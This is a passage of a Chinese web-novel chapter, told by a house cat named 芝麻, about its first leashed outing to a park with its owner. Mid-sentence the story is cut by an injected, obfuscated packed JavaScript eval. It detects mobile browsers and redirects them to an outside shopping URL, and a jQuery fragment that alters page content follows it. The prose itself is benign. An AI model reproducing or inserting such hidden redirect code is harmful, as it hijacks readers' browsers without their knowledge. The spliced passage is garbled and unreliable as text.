第一次真正的“公园探险”，发生在一个晴朗的周末。
那天早晨，他从储物间里翻出那根新的牵引绳——更柔软、更长、颜色是深蓝色的。他把绳子的一端系在我的项圈上，另一端握在手里。然后他从柜子里拿出一个背包，里面装着我的水碗、一小包猫粮、还有几张纸巾。
“妈，我们带芝麻去公园。”
他的母亲正在厨房里忙活，听到这话探出头来：“公园？它能行吗？上次差点跑丢……”
“这次牵着，不会的。”他低头看着我，“对吧，芝麻？”
我“喵”了一声。虽然我不知道“公园”是什么，但我信任他。
下楼的时候，我走在他前面，项圈叮当作响。牵引绳的长度刚好让我可以自由探索，但又不会离他太远。每走几步，我就会回头看看，确认他还在。
穿过小区的门，走过一条安静的街道，我们来到了一个我从没到过的地方。
气味首先击中了我。
千百种气味，层层叠叠，交织在一起。泥土的潮湿味、青草的清新味、各种花的香气、远处传来的烧烤味、其他动物的气息——我能分辨出至少三种不同的狗，两种不同的猫，还有鸟、松鼠、甚至可能是老鼠。所有这些气味混合在一起，像一张巨大的、复杂的气味地图，在我面前展开。
我的胡须颤抖着，耳朵转向四面八方。太丰富了，太复杂了，我的大脑需要时间来处理这些信息。
他蹲下来，摸摸我的头：“第一次来这种地方吧？慢慢来，不用急。”
公园很大。有宽阔的草坪，有曲折的小路，有成片的树林，有一个人工挖成的小湖。湖里有鸭子——我看到它们的第一反应是本能地压低身体，尾巴轻轻晃动。鸭子，这是我第一次见到活着的鸭子，它们的羽毛在阳光下泛着油亮的光泽，发出嘎嘎的叫声。
“想追吗？”他在旁边问，“但不能下水啊。”
我没下水。我只是蹲在湖边，盯着那些鸭子，看它们游来游去。我的尾巴不由自主地抖动，那是狩猎本能被唤醒的信号。但牵引绳的存在提醒我：我不是来打猎的，我只是来探索的。
草坪是另一番天地。
当我的肉垫第一次踩上真正的草地时，那种感觉让我愣了好几秒。草叶是凉的，带着清晨的露水，每一根都在我脚下弯曲，然后又弹起。泥土是软的，不像家里的地板那样坚硬。我可以闻到每一寸土地下面的气息——蚯蚓、昆虫、草的根。这是一个活着的、呼吸的世界。
我开始奔跑。
不是为了追什么，只是单纯地、本能地奔跑。在草地上，在阳光下，在广阔的空间里，我感受到一种从没体验过的自由。牵引绳被拉直，他在后面跟着跑，笑着喊：“芝麻，慢点！”
但我停不下来。风从耳边呼啸而过，草叶在身下刷刷作响，阳光晒在背上暖洋洋的。这一刻，我不再是家猫，而是远古时期那些在草原上奔跑的祖先。
跑累了，我躺倒在草地上，翻身露出肚皮。阳光直射下来，温暖从每一根毛发渗进身体。他走过来，在我旁边坐下，一只手放在我肚子上，轻轻抚摸。
“喜欢这里吗？”他问。
我发出呼噜声。喜欢。太喜欢了。
草地上还有其他两脚兽。有些带着孩子，有些带着和我一样的同类——狗，大部分是狗。那些狗有的很大，有的很小，有的看到我就兴奋地汪汪叫，想冲过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420583|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。每当这种时候，他就会把我抱起来，让那些狗的主人把它们拉远一点。
“没事，”他对我说，“你不想和它们玩就不用玩。”
湖边的长椅上，坐着一个老人，正在喂鸽子。那些灰色的鸟聚集在他周围，争抢他撒下的面包屑。我蹲在不远处，看着那些鸽子。它们比鸭子小，比麻雀大，走起路来一摇一摆。我的尾巴又开始抖动。
“那个也不能追，”他说，“那是别人喂的。”
我没追。我只是看。
下午的时候，我们在一个树荫下休息。他从背包里拿出我的水碗，倒上水。我喝了几口，然后趴在他旁边，眯着眼睛打盹。阳光透过树叶的缝隙，在地面上投下斑驳的光影。风一吹，那些光斑就晃动起来，像活的一样。
他就坐在那里，安静地看着风景，偶尔低头看看我。他的手放在我背上，随着我的呼吸轻轻起伏。
“下次还来吗？”他轻声问。
我睁开眼睛，“喵”了一声。
来。当然要来。这个世界太大了，太丰富了，我需要很多很多次，才能慢慢探索完。
回家的路上，我累得趴在他怀里，连项圈的叮当声都懒得发出来。他抱着我走，步伐缓慢而平稳。穿过街道，走进小区，上楼，进门。
一进家，我就直奔我的水碗，喝了好几大口。然后我跳上沙发，蜷缩成一个毛球，准备开始一个漫长的午觉。
但在我睡着之前，我做了一个梦。
梦里，我再次奔跑在那片广阔的草地上，风吹过耳朵，阳光洒满全身。他在后面跑着，笑着，叫着我的名字。我们跑啊跑，跑到了世界的尽头，然后回头，发现家就在那里，等着我们回去。